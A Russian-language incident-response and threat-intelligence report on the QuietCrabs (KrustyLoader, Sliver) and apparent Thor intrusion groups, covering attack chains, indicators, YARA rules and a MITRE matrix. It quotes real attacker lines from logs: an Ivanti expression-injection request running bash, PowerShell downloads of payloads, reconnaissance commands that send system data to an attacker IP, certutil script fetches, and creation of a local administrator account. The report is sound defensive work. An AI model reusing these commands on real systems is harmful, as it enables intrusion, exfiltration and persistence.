
Во время расследования инцидентов мы, команда Positive Technologies Expert Security Center Incident Response (PT ESC IR) при поддержке департамента Threat Intelligence (PT ESC TI) обнаружили следы использования вредоносного ПО KrustyLoader. Впервые ВПО было описано в январе 2024 года экспертами из команд Volexity и Mandiant. Оно было замечено в атаках с использованием RCE-уязвимостей нулевого дня в продукте Ivanti Connect Secure. Тогда же было указано, что KrustyLoader написан под Linux, однако позже появились версии под Windows. Примечательно, что на момент исследования загрузчик использовался только одной группировкой, которую мы называем QuietCrabs.
Дальнейшее расследование позволило обнаружить в инфраструктуре жертвы активность другой группировки. Интересно, что ее деятельность, вероятно, помешала QuietCrabs реализовать атаку и стала причиной, по которой на эту атаку обратили внимание. Мы предполагаем, что второй группировкой является Thor. На основе изучения сетевой инфраструктуры злоумышленников и данных телеметрии мы пришли к выводу, что вторая группировка проводила массовую атаку на российские компании. Для получения первоначального доступа к инфраструктуре злоумышленники использовали ряд уязвимостей типа RCE (Remote Code Execution), например CVE-2025-53770, CVE-2021-27065.
В статье мы покажем цепочки атак, обнаруженные нами во время расследования, и расскажем про сами инструменты, которые использовали злоумышленники.
Полная версия исследования доступна в нашем блоге на сайте.
Активность группировки QuietCrabs
Расследования инцидентов и проактивный поиск вредоносных файлов позволил выявить атаки, направленные на различные отрасли России и других стран. Примерная схема атак группировки QuietCrabs представлена на рисунке 1.

Атаки группировки характеризуются массовым сканированием интернета в поиске уязвимых серверов.
В первом инциденте QuietCrabs эксплуатировала CVE-2025-4427 и CVE-2025-4428 через день после официального заявления Ivanti. Ниже указан пример того, как выглядит эксплуатация в журнале access.log. Результат записывался в файл с расширением .jpg, после чего считывался атакующими снаружи.
GET /api/v2/featureusage_history?adminDeviceSpaceId=131&format=${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(''.getClass().forName('java.lang.Runtime')).exec('/bin/bash -c $@|bash 0 echo df -a > /mi/tomcat/webapps/mifs/images/PaKE5k.jpg')}
GET /mifs/images/PaKE5k.jpg
Во втором инциденте были обнаружены следы успешной эксплуатации CVE-2025-53770 в течение суток после публикации эксплойта, а неудачные попытки — в течение нескольких часов после первых публикаций неработающих эксплойтов.
Алгоритм действий группировки после получения доступа к серверу SharePoint примерно следующий:
Закрепление на уязвимом сервере через загрузку ASPX-файла, представляющего собой простой веб-шелл, о котором мы расскажем ниже.
Получение информации о внешнем IP-адресе и проверка доступов на запись в файл. Пример команды:
powershell.exe -Command Invoke-WebRequest -Uri http://ifconfig[.]me -OutFile C:/Users/Public/Downloads/1.exe
Загрузка следующей стадии с внешнего сервера. В качестве следующей стадии выступал KrustyLoader.
powershell.exe -Command Invoke-WebRequest -Uri http://omnileadzdev.s3.amazonaws[.]com/l9oWUjyPR6Gc -OutFile C:/Users/Public/Downloads/1.exe
Загрузка и запуск через KrustyLoader импланта Sliver.
Sliver — это кросс-платформенный фреймворк с открытым исходным кодом для эмуляции атак злоумышленников или для пентеста. Он может использоваться организациями любого размера для тестирования безопасности. Импланты Sliver обеспечивают соединение с C2-сервером по протоколам Mutual TLS (mTLS), WireGuard, HTTP, HTTPS и DNS и динамически компилируются с использованием асимметричных ключей шифрования для каждого бинарного файла.
Источник: BishopFox / sliver (GitHub)
Во время исследования сетевой инфраструктуры мы заметили, что QuietCrabs предпочитала использовать хостинг-провайдер DigitalOcean. Такой выбор может обусловливаться их приоритетным регионом для атак — Северной Америкой. Серверы в этом хостинге позволяют мимикрировать под американский трафик. Однако этот же хостинг мы видим в атаках на компании в России, что кажется любопытным: DigitalOcean, как американский провайдер, не помогает обходить геоблокировки (в отличие от местных или нейтральных хостеров), а, скорее, усложняет маскировку, что подчеркивает уникальность тактики QuietCrabs.
ASPX-веб-шелл
Для дополнительного закрепления злоумышленники использовали ASPX-файл, представляющий собой простой веб-шелл, возвращающий результат выполнения команды в ответе в текстовом виде. Сам веб-шелл принимает два GET-параметра — cmd и timeout. Первый отвечает за команду, которую необходимо выполнить, второй — за максимальное время выполнения команды.
Команда оборачивается в блок try..catch, кодируется с использованием алгоритма Base64 и запускается через системную утилиту ScriptRunner.exe. Результат работы в случае отсутствия ошибок пишется в файл по следующему пути:
C:\Program Files\Common Files\microsoft shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\<UUID>
Пример записи в журнале access.log с выполнением команды:
GET /_layouts/15/ps_backdoor.aspx cmd=echo K046rywr6NOHae7m
Далее веб-шелл считывает из этого файла результат работы команды и отправляет злоумышленникам. Фрагмент скрипта можно найти на рисунке ниже.

JSP-загрузчик
Во время расследования было понятно, что группировка QuietCrabs напрямую загрузила KrustyLoader через эксплуатацию уязвимости. Однако в процессе исследования команда TI-департамента нашла в открытых источниках файл, представляющий собой простой JSP-загрузчик. Очевидно, что подобные образцы использовались в атаках на Java-приложения. Алгоритм работы загрузчика:
Принять пароль через параметр запроса pwd и проверить его. Если он равен p@ss — перейти дальше, иначе — вернуть в ответе строку
4c7c96d31ffaa6b8a5e86760edcb9294.Получить номер версии из параметра запроса version, записать его в файл.
Скачать KrustyLoader с внешнего сервера с IP-адресом 143.198.8[.]180 и запустить его.
Вернуть ответ { "status": 0 }.

KrustyLoader
Про KrustyLoader уже писали не раз, мы лишь напомним об основных артефактах, которые можно найти в системе во время его работы. KrustyLoader — это загрузчик, написанный на языке Rust, основная функция которого — расшифровать ссылку, которая ведет на скачивание полезной нагрузки, загрузить ее, внедрить в целевой процесс и запустить.
Почти во всех описанных исследованиях приводятся семплы ELF x64, а некоторые вендоры описывают KrustyLoader исключительно как ПО под системы Linux. Но в нашем случае мы видели в инцидентах только семплы под Windows.
Важная особенность KrustyLoader заключается в том, что это уникальное ВПО, ассоциирующееся только с одной группировкой — QuietCrabs. Мы видим, что злоумышленники постепенно дорабатывают и обновляют это инструмент.
В начале KrustyLoader копирует себя в папку %TEMP% с масками имен файлов, представленных ниже, где name — это имя, gen_sym — случайно сгенерированные символы:
.<name>.<gen_sym>.__selfdelete__.exe
.<name>.<gen_sym>.__relocated__.exe
В дальнейшем эти файлы служат файловыми маркерами того, что система уже заражена. После копирования KrustyLoader удаляет себя из запускаемой папки. Далее инициализирует и переходит к выполнению части кода, которая обфусцирована с помощью control flow flattening (CFF).

В первом диспетчере проверяется существование файла C:\Users\Public\Downloads\0, во втором — что этот файл непустой. Содержимое файла служит параметром для функции сна tokio::sleep.

В третьем диспетчере KrustyLoader проверяет, что запущен из папки C:\Users\Public\Downloads.

В четвертом диспетчере происходит сначала расшифровка ссылки для получения полезной нагрузки. Сама ссылка зашифрована двумя слоями, первый — XOR, второй — AES-128-CFB. Все данные находятся в секции .text, KrustyLoader находит их с помощью маркера.

Полученную полезную нагрузку KrustyLoader расшифровывает, используя тот же ключ и вектор инициализации, что и для ссылки.
Затем полезная нагрузка внедряется в процесс explorer.exe и запускается на исполнение через функцию RtlCreateUserThread.

Полезной нагрузкой во всех найденных нами образцах являлся Sliver, но не исключено, что нагрузка может быть и другой. На рисунке 7 есть еще одна ссылка url. В этом образце она имеет значение ########, но если на ее месте будет незашифрованная ссылка, то полезная нагрузка по этой ссылке будет также загружена и запущена, но уже путем внедрения в процесс cmd.exe.

Активность второй группировки
Во время исследования активности на зараженных узлах мы обнаружили, что часть инструментария не пересекается с теми инструментами, которые использует группировка QuietCrabs. Более того, в отличие от QuietCrabs, вторая группировка действовала более шумно, используя хорошо известные инструменты и техники, что в рамках рассматриваемых инцидентов позволило вовремя обнаружить обе группировки и избежать более серьезных последствий атак.
Пример команд для первоначальной разведки, выполняемых группировкой Thor:
powershell -Command $r=(systeminfo); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing
powershell -Command $r=(tasklist); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing
powershell -Command $r=(whoami /priv); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing
powershell -Command $r=(nltest /dclist:); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing
powershell -Command $r=(nltest /trusted_domains); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing
powershell -Command $r=('powershell Test-NetConnection 95.142.40[.]51 -Port 4444 ; iwr -Uri ('http://95.142.40[.]51:8888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing
Далее злоумышленники создали учетную запись srv, используя команду ниже. Затем этот пользователь добавился в группу локальных администраторов.
powershell -Command $r=(net user srv Brooklin2025! /add); iwr -Uri ('http://95.142.40[.]51:888/?data=' + [uri]::EscapeDataString($r)) -UseBasicParsing
Группировка использовала утилиту ADRecon, которую загружали по пути C:\\users\\public\\ad_ru.ps1, для разведки домена Active Directory. Результаты записывались в файл, который в последствии просматривался злоумышленником:
file:///C:/Users/<User>/Desktop/ADRecon-Report-<date>.zip
Кроме того, злоумышленники использовали certutil для загрузки различных PowerShell-скриптов:
certutil.exe -urlcache -split -f http://95.142.40[.]51:654/exec.ps1 $public\\sql.ps1
Для повышения привилегий группировка использовала общедоступную утилиту GodPotato, а для извлечения данных — такие инструменты, как secretsdump и mimikatz.
К собираемой группировкой информации можно отнести учетные данные локальных и доменных пользователей, почтовых серверов, а также Telegram-сессии сотрудников. Для сбора пользовательских файлов использовалась утилита Rсlone.
Таким образом, если бы не активность второй группировки с общеизвестными инструментами, то, вероятно, QuietCrabs могли бы оставаться незамеченными.
Сопоставив эти данные, мы смогли найти похожее описание, а также общие индикаторы компрометации, которые исследователи из Angara Security опубликовали 19 августа. Они пишут, что за атакой стоит группировка Thor, которая использует шифровальщики LockBit и Babuk. В нашем случае атака была обнаружена вовремя, поэтому эти вредоносные программы мы не обнаружили.
Учитывая пересечение инструментов, техник, а также индикаторов компрометации, мы предполагаем, что за атакой стоит группировка Thor.
Примерная схема атаки группировки изображена на рисунке ниже.

Корреляция активностей группировок
Во время исследования мы заметили странную особенность: группировка QuietCrabs почти одновременно действовала с предположительной группировкой Thor. Разница между их вредоносными активностями составляла несколько дней. Более того, важно отметить, что расследование начиналось именно с того момента, когда фиксировалась активность группировки Thor, то есть QuietCrabs могли оставаться в инфраструктуре незамеченными намного дольше, если бы не другие злоумышленники.
Несмотря на это, мы не можем точно утверждать, что QuietCrabs сотрудничает с Thor. В нашем случае пересечение активности — это, скорее всего, совпадение, связанное с тем, что и QuietCrabs, и Thor массово сканируют множество организаций для последующего взлома.
Жертвы группировки Thor
В результате изучения сетевой инфраструктуры злоумышленников на основе данных телеметрии было выявлено, что около 145 серверов подверглись сканированию со стороны группировки. На 101 сервере были обнаружены уязвимости, датируемые преимущественно 2021 годом, всего было обнаружено 269 уникальных уязвимостей.

В итоге нам удалось установить около 110 российских компаний, являющихся потенциальными жертвами. При этом наблюдался сильный разброс по атакованным секторам экономики и потенциальной выгоде атакующих.

Похожую ситуацию с атаками на уязвимые серверы мы описывали в нашей статье про вредоносный код, внедренный в страницы аутентификации Microsoft Outlook. В обоих случаях, помимо малого и среднего бизнеса, среди жертв были компании военно-промышленного комплекса, а также из области здравоохранения и научно-исследовательских центры.
Стоит также отметить, что все уязвимые серверы находились на территории России, что говорит о целенаправленности атак группировки Thor.
Выводы
Атаки предполагаемой группировки Thor затронули множество российских компаний, при этом в атаках не использовались сложные техники или уникальный инструментарий, то есть при грамотно выстроенной инфраструктуре и процессах информационной безопасности их возможно было избежать или быстро локализовать.
В это же время атаки группировки QuiteCrabs представляли большую угрозу, так как киберпреступники использовали эксплойты через короткий срок после выхода уязвимостей: разница между выходом патча и атакой была от нескольких дней до нескольких часов. При этом, по данным расследований Mandiant, среднее время, которое QuiteCrabs провела в инфраструктуре, составляет 393 дня.
Здесь скрыты вердикты продуктов, индикаторы компрометации и техники и тактики обнаруженных группировок
Вердикты продуктов Positive Technologies
PT Sandbox
apt_win_ZZ_QuietCrabs__Trojan__KrustyLoader
tool_win_ZZ_Sliver__Backdoor
tool_multi_ZZ_WebShell__Backdoor__ASPX
tool_multi_ZZ_TacticalRMM__RemoteAdmin
tool_multi_ZZ_MeshAgent__RemoteAdmin
MaxPatrol SIEM
Run_Masquerading_Executable_File
Suspicious_Connection
Suspicious_Connection_System_Process
Suspicious_Directory_For_Process
PT NAD
TOOLS [PTsecurity] Possible TacticalRMM Agent sid: 10012568, 10012570
TOOLS [PTsecurity] TacticalRMM Agent TLS request sid: 10014669
LOADER [PTsecurity] Trojan.Loader Requesting TacticalRMM Agent sid: 10014662
TOOLS [PTsecurity] Possible MeshCentral Agent sid: 10010286, 10010288
REMOTE [PTsecurity] MeshAgent switching to websocket C2 sid: 10014396
TOOLS [PTsecurity] Sliver C2 HTTP Key exchange (Base64 modified alphabet) sid: 10011011
Индикаторы компрометации
Больше индикаторов компрометации можно найти на TI-портале PT Fusion.
Файловые индикаторы, связанные с QuietCrabs
KrustyLoader | ||
MD5 hashes |
SHA-1 hashes |
SHA-256 hashes |
f662135bdd8bf792a941ea222e8a1330 |
fa645f33c0e3a98436a0161b19342f78683dbd9d |
1d26fff4232bc64f9ab3c2b09281d932dd6afb84a24f32d772d3f7bc23d99c60 |
aed7eef30dbb0e95290b82d8cdb80cef |
5b86889fd1d7de954d7d331bb85a0f97942be1a7 |
6b938659bc6f705c0665220d234e4c4d158fd10a9b6af8efd7fe30040bb29936 |
88c13ad71798482ab15da86fed33a09d |
d659ddf993c29e79d3da25cfffa0891a0f4773e6 |
14aa7dd13b4724a9e195eee5260ee53d96dc4feddfff68211e054095bc5f2d7c |
4336ce2c934bdabc0ef24ebc883a97b5 |
579d9ae609248977dace45702fa120ca3f282bef |
15fbedc076f10b630e724ace21f6b7ef34235cf1e304089cd7e4e7047eb149f3 |
071d0f76e0af21f0a6903523abe90d33 |
398da9c0a39b2090024ba4a318a452517da93898 |
18a98a738138aacbcdaac1164e422be12e14b1abee595f285456b63dc1e1c98b |
120df631123af5a9273b0f9b3b7592d3 |
bfcb8bd83bfa415d6e1c21a7686f2e79aea18d7a |
36dc557b4ea173d9537392f64c1a9527a5832ca99718150fb430e0c13762758b |
29bc17fa1e32bee1c5beb4f556b1e59a |
158119e7464af7d4f14d137a046de8adffef25d0 |
53c69869a6e186f1cd5f3908e59f2d77d25385642ec97b720550bb5fb4a64a35 |
34d118e804d3eb46c82cfbcb73772abe |
c6783e6594f785f918f0d0d458854bc3cf02b9a4 |
288eed2f19b5087d074a291a55abafa206bdc7b9367785abff0ca6628c2dea38 |
04b6bf6e2538a5a4043258185a1fd853 |
a33acd32396b82e29c57288aa380de2e85c523c2 |
301b292e8ee27a366c78231b61a47bae9fcaf4cd8ab5c0224a3754bf600d12a2 |
0307d0b1ce5aca62021ddd4cc6a8de16 |
e6d205645eb2ae1e1ed829d8dda29fcb17e98a47 |
359eb9d53218b243653bcf9d64fd394302d2ea597dc43ca58289cfd604f12264 |
6900e844f887321f22dd606a6f2925ef |
da23dab4851df3ef7f6e5952a2fc9a6a57ab6983 |
1544d9392eedf7ae4205dd45ad54ec67e5ce831d2c61875806ce4c86412a4344 |
93f705625e504056b43846a651be4388 |
f4018fb54955905bb273a10b512086ac386311bf |
1703df147df01e0487d5419b87bb7452cff6b9e5f582b44e887bb0e8d7f5d44e |
1d154306cb0824433bbf2674fac0e236 |
4b394640c378082c6a96769ecd48894925d1d7f1 |
a92e51dfc17216802cb9a74f043bf6feabfd0cad3bfd7b3e699120dcd9f29b3e |
7a28a7c154bd43143379d155ab25f909 |
3daf463d4b482f30b640d48685de44d37dc17b27 |
b3e8dff5de434fd4057526e56367c2b9a3115814002253dc1817e229a6dd13bf |
8c8681e805e0ae7a7d1a609efc000c84 |
17d65a9d8d40375b5b939b60f21eb06eb17054fc |
b8e56de3792dbd0f4239b54cfaad7ece3bd42affa4fbbdd7668492de548b5df8 |
8606677c19f88593016fcc343d9518ea |
8f47d35628b059ee04504f26df2ff82e46d9af5a |
bdb9a4c1532b5ba38fd8a9c01430f2db4cd74ee0123deaa65cfdf61196fc7d3a |
824b35ae209996f415815cba7006c155 |
7c5e8fd9631d17443f9cdaf9f0da5a5e9fb89509 |
cfb7968331bf1289b3ec71765ca42549d2aa17669162248f36a8dfbdc4c8c9d2 |
6c93ea4895ba0085a1de515f206b1699 |
6fa91bdc9a6a4bfe2dc3ee020ff1cbf84ba304fb |
d3be673d536574b4027f2d9176457760f109b77e140a29b67a448d1830fe958d |
445d5e5944a77c7f367bf09d97edf2c4 |
d7ccfa0a9ca30c6b631ab638e95101b5e1ceb5ca |
dad3d871e48ecf1bc022914f6ba471dbc2e0f861495337138b0766064d640911 |
e313eeee1d146d6e1b800a49fdaaa0ca |
c593bdd8dbd6e434848543c2d1ee4fa1b150b9b4 |
db88cb8ee5672afab012376a8add1e8362e75c1e6221d40e0dfff9ed3c9592b2 |
088cafef0b7a6aca4bda65a91e79a34a |
7c0b195fc4b820450e14fd8104574e62a3cda8d8 |
e4e7c6bd2250b513383839f6ff805cb333a9575304ce43847b8748eeda9b1dbb |
de15e309e157b46d97dbec5849945c1c |
a8f7bf6302c5ccd9888d31289229426008b7e2d6 |
e5abc07aa76e6c1997d6a732cbd1b51b14badfbed80f55afd1864c9736985049 |
5b81a0fa12e8fad652fbaa77ee9242dc |
ca24f43e6cdce43ba4852a5974271686725084e0 |
f7c0917e19af0282da27d54dd951f78042965fe6d27551430bbae490c9c881cc |
765a29cc2645f0edfdd33ed59db3f2dc |
74dea4e8930cac7f8d9a63989fbd6bb27ae7c598 |
7c2dcf05663b71877e2650d63c52a624ca7319e407d462db1dce6a4c65cd5ae9 |
7d190efc6f17869ee01cf667c90d0211 |
582a672fb25cdf248e5a67630468225e8a8af7ef |
32b40914bf7d01b2b0c3536835314f03f07ea810830ac1bea6c7169bdb0d731f |
abc167768fb1113e21428499745a239f |
b56ece0eafff9b8c79aba879a115fb01a5905f29 |
929e3fdd3068057632b52ecdfd575ab389390c852b2f4e65dc32f20c87521600 |
f46539cb4c18bccf3ccd35dbd973c901 |
3a5286acc24ec8c933182fcaccc094de148d8e06 |
2890a9970502a7c20477a437571a260cb96375e6fe44912495daa77cb03ba470 |
2fcde88eedb3414b9f0ce60fad83bf45 |
4d42b371508256000cd5de530ca0131d51939421 |
9558d1f46182f5275c8a5578bc8dad63ad776b7f1ccff1528cc8a04f50a2cc4c |
6cd3e6ece8d01858faf562b77903bc43 |
1604a8130412e6824dca40b38a91114ffbc6bfe4 |
c8d64b4eb7c21ae03595576cb633b2b831e824964e367f1859a6856ce6f6b3fa |
e83a67a484b56684f1c7cc8cb0f071e4 |
d40e81552c778a66b2ca01eb38245acc63a19d5b |
dd4f25657c4df7983c0d12b597df1ce737eeebd1c0b2bf185c93ec74a5f195c7 |
88576ff9320ae2c6de87dc6082f02527 |
0836c7c544f231d6995f7a87b34b2c8875328b17 |
ea41a8f0aa1c0dc365258902bde3e87529e4af2a882b19fb35e3b5584a9832ac |
fd9a345badc25e6d58361becb517a0c2 |
d61c9eba6d8267ed5836f670f58c9b12a737f89d |
f6665f41a2ea7c5eacbd908210ab332ba9a1f60c14fe855c52124fc81a4f13f9 |
Sliver | ||
MD5 hashes |
SHA-1 hashes |
SHA-256 hashes |
23439741ee63a4ff744e5c3ab1fbba3d |
69840ab5f82d90c3d9747e20f44d84209c9e3eb4 |
3581d7ef15130fe82e34ee431985f101fbeb96857b5855ccfa504ab5d0022756 |
c4df40b8250a72ef394a6d844765cbda |
7cb4aee887a9e39b4cb9cd4c9c2cff3b037d85b5 |
8f651136b7ba3d63d018a6f12ffd073d1c0033e7b1f39920757fef36de2254d0 |
070170515d7d1d982164a5a3dd96d5e3 |
db3918814d6cb13257ba9e55e6adb1b090a422a6 |
1a17367608e79dba1e63348e5d791ff1658621bf8799b0a81ec7dc26ab0b3b6d |
6ca0408e78c732f533dee2bd84df9961 |
28a4b6c7fd996ce277e4e4fcb7f83df529164afb |
21b8e487d5879ff08d01316dbfb298e1c5e93b56054f04b70489d6732dcfb15d |
4e37da111b8be06a8fa3312cde33b79e |
979709f50797b992e07cbc2b0779509c5edd516c |
52ec5c307cc5ba5790434bbf334168d22ed8b7e20b304485ee6d27e790b5f62c |
b3049fd5189440246472bbd3216f7038 |
78494559881d5e8192f82d5e9a6e8b0b8e96449e |
8e551182f760435151052778c9f51e8cfa6637ef258c6f88f32dac3b00e0ffef |
31c14a5c7bdb550a950a784c77840712 |
1c28b0871c5549e9f4dbc60b08e547d4fd786be0 |
20683be010f0ca076bf5b0a0ee0838c116f7554cee50648d5ab4c28417965eb5 |
e60d9dee3ead2d70be5824d7659a134f |
cbd9938805af96b4b6bee1865a27272f62340085 |
a2326928c3ec6630e60642f0284ed994185efbfcea2516e6ae17728a6fe62a6b |
Сетевые индикаторы, связанные с QuietCrabs
django-server.s3.amazonaws.com
omnileadzdev.s3.amazonaws.com
spyne-test.s3.amazonaws.com
kia-almotores.s3.amazonaws.com
devscout.s3.amazonaws.com
tnegadge.s3.amazonaws.com
gaadhi.s3.amazonaws.com
say2me.s3.amazonaws.com
levar-viewer.s3.amazonaws.com
gtisstorage.s3.amazonaws.com
cdn-chromos.s3.amazonaws.com
ballour.s3.amazonaws.com
the-mentor.s3.amazonaws.com
live-360.s3.amazonaws.com
anc-media.s3.amazonaws.com
check.learnstore.vip
music.learnstore.vip
update.learnstore.vip
api.learnstore.vip
video-dev.learnstore.vip
api-dev.learnstore.vip
music-dev.learnstore.vip
check-dev.learnstore.vip
143.198.8.180
174.138.95.60
157.245.175.86
165.232.162.99
167.172.64.55
167.172.77.125
178.128.124.227
178.128.53.239
207.154.235.215
213.183.54.111
216.45.58.177
223.76.236.178
223.76.236.179
23.95.193.164
64.226.98.34
8.211.157.186
134.122.25.236
138.68.94.205
156.238.224.82
139.59.39.19
Сетевые индикаторы, связанные с Thor
95.142.40.51
161.97.136.74
194.14.217.63
213.183.57.51
188.127.241.179
91.231.186.5
192.121.113.123
192.121.171.245
194.68.44.151
Файловые сигнатуры
rule PTESC_apt_win_ZZ_QuietCrabs__Trojan__KrustyLoader {
strings:
$code = {
BF ?? ?? ?? ??
48 8D ?D ?? ?? ?? ??
[0-9]
81 FF ?? ?? ?? ??
74 ??
[0-1] 81 FF ?? ?? ?? ??
74 ??
[0-1] 81 FF ?? ?? ?? ??
0F 84 ?? ?? ?? ??
[0-1] 81 FF ?? ?? ?? ??
0F 85 ?? ?? ?? ??
E9
}
$s1 = "[-]ResumeThread failed: "
$s2 = "[-]Unknow IMAGE_OPTIONAL_HEADER type for machine type: "
condition:
((uint16(0) == 0x5a4d) and (all of them))
}
rule PTESC_tool_win_ZZ_Sliver__Backdoor {
strings:
$c = {
0F B6 54 0C ??
0F B6 5C 0C ??
31 DA
88 14 08
48 FF C1
48 83 F9 0C
7C
}
$r = /([a-z]{10}\/){4}[a-z]{10}\.\(\*[A-Z][a-z]{9}\)/
$s_bishopfox = "bishopfox"
$s_github = "github.com/bishopfox/sliver"
$s_obf1 = ".Cleanup.func"
$s_obf2 = ".ConnectRemote.func"
$s_obf3 = ".SessionInit.func"
$s_obf4 = ".func500"
$s_obf5 = ".makeConnectedServerPipe.func"
$s_obf6 = ".phpURL.func"
$s_obf7 = ".readWinHttpProxy.func"
$s_obf8 = ".txtURL.func"
$s_obf9 = /main\.[a-z]{10}\.func5/
$s_sliver = "sliver"
condition:
uint16(0) == 0x5A4D and (all of ($s_obf*) or (#s_sliver > 100 and #s_bishopfox > 100) or any of ($c*) or (any of ($s_obf*) and #r > 100) or $s_github)
}
rule PTESC_tool_multi_ZZ_WebShell__Backdoor__ASPX {
strings:
$asp = "<%@"
$cmd = "cmd.exe"
$p1 = "Process()"
$p2 = "System.Diagnostics.Process"
$p3 = "new Process"
$v1 = "Response.Write("
$v2 = ".Start("
$v3 = "UseShellExecute"
$v4 = "RedirectStandardOutput"
$v5 = "RedirectStandardInput"
$v6 = "Request.Params["
$v7 = "Request.Headers["
$v8 = "Request.Files["
$v9 = "Environment.GetLogicalDrives()"
$w1 = "new FileStream"
$w2 = "new FileInfo"
$w3 = ".Write("
condition:
$asp and filesize < 100KB and (any of ($p*) or 2 of ($w*)) and (3 of ($v*) or 1 of ($v*) and $cmd)
}
rule PTESC_tool_multi_ZZ_TacticalRMM__RemoteAdmin {
strings:
$git = "amidaware/rmmagent"
$s1 = "Tactical RMM Agent"
$s2 = "Path to custom meshcentral dir"
$s3 = "NatsWSCompression"
$s4 = "nixMeshAgentBin"
$s5 = "limitNatsData"
$s6 = "CleanupAgentUpdates"
$s7 = "GetAgentCheckInConfig"
$s8 = "SendPingCheckResult"
$s9 = "WinSvcCheckResult"
$s10 = "PendingActionPK"
$s11 = "GetCheckInConfFromAPI"
$s12 = "DjangoStringResp"
condition:
(uint32be(0) == 0x7f454c46 or uint16(0) == 0x5a4d) and (5 of ($s*) or #git > 10)
}
rule PTESC_tool_multi_ZZ_MeshAgent__RemoteAdmin {
strings:
$s1 = "ScriptContainer.heapFinalizer"
$s2 = "place .msh file with this executable"
$s3 = "AgentCore/MeshServer"
$s4 = "('MeshAgent')"
$s5 = "addCompressedModule('agent-installer"
$s6 = "MeshServer_ControlChannel"
$s7 = "Cannot abort operation that is marked as 'wait for result'"
$s8 = "compactDirtyMinimum"
$s9 = "MeshConsole"
$s10 = "Ooops, invalid socket: "
$s11 = "Restart Failed, because Script Engine Stop failed"
$s12 = "Secondary Agent unavailable to assist with self update"
condition:
(uint16(0) == 0x5a4d or uint32be(0) == 0x7f454c46) and 5 of them
}
Матрица MITRE
Quiet Crabs
Reconnaissance | ||
T1595.002 |
Active Scanning: Vulnerability Scanning |
Группировка QuietCrabs получала информацию об уязвимостях в Microsoft SharePoint Server |
Resource Development | ||
T1583.006 |
Acquire Infrastructure: Web Services |
Группировка QuietCrabs использовала Amazon S3 для загрузки вредоносного ПО KrustyLoader и Sliver |
T1583.004 |
Acquire Infrastructure: Server |
Группировка QuietCrabs использовала хостинг DigitalOcean для С2-серверов |
T1583.001 |
Acquire Infrastructure: Domains |
Группировка QuietCrabs использовала домены .vip для С2-фреймворка Sliver |
T1587.001 |
Develop Capabilities: Malware |
Группировка QuietCrabs использовала в атаках разработанное ПО KrustyLoader |
T1608.001 |
Stage Capabilities: Upload Malware |
Группировка QuiteCrabs перед атакой загружала ПО на свои серверы |
Initial Access | ||
T1190 |
Exploit Public-Facing Application |
Группировка QuietCrabs использовала уязвимости CVE-2025-53770, CVE-2025-53771, CVE-2025-4427 и CVE-2025-4428 для получения первоначального доступа |
Execution | ||
T1059.001 |
Command and Scripting Interpreter: PowerShell |
Группировка QuietCrabs запускала powershell.exe с параметром -Command для выполнения Invoke-WebRequest и сохранения результата в файл |
Persistence | ||
T1505.003 |
Server Software Component: Web Shell |
Группировка закреплялась в системе через загрузку ASPX-файла, представлявшего собой простой веб-шелл, который принимал GET-параметры cmd и timeout |
Defense Evasion | ||
T1055 |
Process Injection |
Группировка QuietCrabs загрузила компонент общедоступного фреймворка для тестирования на проникновение Sliver и внедрила его в процесс explorer.exe. |
T1027 |
Obfuscated Files or Information |
Группировка QuietCrabs шифровала полезную нагрузку с помощью метода кодирования Base64 |
Credential Access | ||
T1552 |
Unsecured Credentials |
Группировка QuietCrabs получала значение SharePoint ASP.NET machineKey при эксплуатации уязвимости CVE-2025-53770 |
Discovery | ||
T1016 |
System Network Configuration Discovery |
Группировка QuietCrabs использовала PowerShell-скрипт (Invoke-WebRequest -Uri http://ifconfig[.]me) для получения информации о внешнем IP-адресе скомпрометированного узла |
Command And Control | ||
T1105 |
Ingress Tool Transfer |
Группировка QuietCrabs использовала KrustyLoader для загрузки полезной нагрузки |
T1071.004 |
Application Layer Protocol: Web Protocols |
Помимо имплантов Sliver, группировка QuietCrabs использовала хранимые в Amazon S3 файлы, которые загружала в систему жертвы по протоколам HTTP, HTTPS
|
Thor
Reconnaissance | ||
T1595.002 |
Active Scanning: Vulnerability Scanning |
Группировка использовала Fscan для выявления уязвимых сервисов |
Resource Development | ||
T1583.004 |
Acquire Infrastructure: Server |
Группировка Thor использовала серверы для активного сканирования, а также в качестве С2-сервера для своего ПО |
T1608.002 |
Stage Capabilities: Upload Tool |
Группировка Thor подготавливала атаки и заранее загружала инструменты в свою инфраструктуру |
T1608.001 |
Stage Capabilities: Upload Malware |
Группировка Thor подготавливала атаки и заранее загружала вредоносное ПО в свою инфраструктуру |
T1588.002 |
Obtain Capabilities: Tool |
Группировка Thor использовала в своих атаках полученные ей различные инструменты, такие как mimikatz, GodPotato и т. д. |
Initial Access | ||
T1190 |
Exploit Public-Facing Application |
Группировка Thor использовала уязвимости CVE-2023-38035 и CVE-2025-53770 для получения первоначального доступа |
Execution | ||
T1059.001 |
Command and Scripting Interpreter: PowerShell |
Группировка Thor загружала и выполняла различные PowerShell-скрипты с помощью certutil, а также использовала ADRecon на базе PowerShell |
T1059.003 |
Command and Scripting Interpreter: Windows Command Shell |
Группировка Thor запускала часть скриптов через cmd.exe |
T1059.005 |
Command and Scripting Interpreter: Visual Basic |
Группировка Thor использовала в своих атаках различные visual-basic-скрипты |
Persistence | ||
T1543.003 |
Create or Modify System Process: Windows Service |
Группировка Thor обеспечивала закрепление путем установки MeshAgent и Tactical RMM в виде служб |
T1136.001 |
Create Account: Local Account |
Группировка Thor создавала учетные записи srv |
T1098.007 |
Account Manipulation: Additional Local or Domain Groups |
Группировка Thor добавляла ранее созданного пользователя srv в группу локальных администраторов |
T1053 |
Scheduled Task/Job |
Группировка Thor создавала запланированные задачи
|
T1133 |
External Remote Services |
Группировка Thor подключилась к почтовым ящикам сотрудников через Outlook Web Access (OWA) |
Privilege Escalation | ||
T1548 |
Abuse Elevation Control Mechanism |
Группировка Thor использовала общедоступную утилиту GodPotato для повышения привилегий |
T1078.002 |
